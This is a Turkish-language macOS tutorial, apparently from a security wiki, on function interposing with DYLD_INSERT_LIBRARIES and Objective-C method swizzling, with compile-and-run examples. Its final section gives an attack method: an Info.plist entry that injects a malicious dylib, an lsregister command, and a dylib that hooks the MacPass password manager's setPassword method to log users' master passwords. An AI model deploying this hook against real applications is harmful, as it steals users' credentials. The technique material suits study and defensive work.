macOS Function Hooking

Reading time: 9 minutes

Function Interposing

Bir dylib oluşturun ve içinde __interpose (__DATA___interpose) bölümü (veya S_INTERPOSING ile işaretlenmiş bir bölüm) bulunan, orijinal ve değiştirilmiş fonksiyonlara atıfta bulunan fonksiyon işaretçileri çiftleri içersin.

Sonra, DYLD_INSERT_LIBRARIES ile dylib'i enjekte edin (interposing, ana uygulama yüklenmeden önce gerçekleşmelidir). Açıkça, DYLD_INSERT_LIBRARIES kullanımına uygulanan kısıtlamalar burada da geçerlidir.

Interpose printf

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };

//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}

// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);

DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Ayrıca, interposing'in süreç ile yüklenen kütüphaneler arasında gerçekleştiğini unutmayın, paylaşılan kütüphane önbelleği ile çalışmaz.

Dinamik Interposing

Artık bir fonksiyonu dinamik olarak dyld_dynamic_interpose fonksiyonu kullanarak interpose etmek de mümkündür. Bu, bir fonksiyonu yalnızca başlangıçtan değil, çalışma zamanında programatik olarak interpose etmeyi sağlar.

Sadece değiştirilecek fonksiyonun ve yerine geçecek fonksiyonun tuplarını belirtmek yeterlidir.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

ObjectiveC'de bir metod şu şekilde çağrılır: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

nesne, metod ve parametreler gereklidir. Ve bir metod çağrıldığında msg gönderilir ve bu işlem objc_msgSend fonksiyonu kullanılarak yapılır: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Nesne someObject, metod @selector(method1p1:p2:) ve argümanlar value1, value2'dir.

Nesne yapıları takip edilerek, metodların isimleri ve metod koduna işaretçilerin bulunduğu bir metodlar dizisine ulaşmak mümkündür.

Ham metodlara erişim

Metodların ismi, parametre sayısı veya adresi gibi bilgilerine aşağıdaki örnekte olduğu gibi erişmek mümkündür:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling with method_exchangeImplementations

Fonksiyon method_exchangeImplementations, bir fonksiyonun uygulamasının adresini diğerine değiştirmeye olanak tanır.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

Method Swizzling with method_setImplementation

Önceki format garip çünkü bir metodun uygulamasını diğerinin uygulamasıyla değiştiriyorsunuz. method_setImplementation fonksiyonunu kullanarak bir metodun uygulamasını diğerinin uygulamasıyla değiştirebilirsiniz.

Sadece, orijinal olanın uygulamasının adresini saklamayı unutmayın, eğer onu yeni uygulamadan çağıracaksanız, çünkü daha sonra o adresi bulmak çok daha karmaşık olacaktır.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking Attack Methodology

Bu sayfada fonksiyonları hooklamak için farklı yollar tartışıldı. Ancak, bunlar saldırı için süreç içinde kod çalıştırmayı içeriyordu.

Bunu yapmak için en kolay teknik, bir Dyld'yi ortam değişkenleri aracılığıyla veya kaçırarak enjekte etmektir. Ancak, bunun Dylib süreç enjeksiyonu aracılığıyla da yapılabileceğini düşünüyorum.

Ancak, her iki seçenek de korumasız ikili/dizilerle sınırlıdır. Sınırlamalar hakkında daha fazla bilgi edinmek için her tekniği kontrol edin.

Ancak, bir fonksiyon hooking saldırısı çok spesifiktir, bir saldırgan bunu bir süreçten hassas bilgileri çalmak için yapar (aksi takdirde sadece bir süreç enjeksiyonu saldırısı yapardınız). Ve bu hassas bilgiler, MacPass gibi kullanıcı tarafından indirilen uygulamalarda bulunabilir.

Bu nedenle, saldırgan vektörü ya bir zafiyet bulmak ya da uygulamanın imzasını kaldırmak, DYLD_INSERT_LIBRARIES ortam değişkenini uygulamanın Info.plist dosyasına ekleyerek bir şeyler eklemek olacaktır:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

ve ardından uygulamayı yeniden kaydet:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Kütüphaneye bilgileri dışa aktarmak için hooking kodunu ekleyin: Parolalar, mesajlar...

Kütüphane örneği

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Referanslar

• https://nshipster.com/method-swizzling/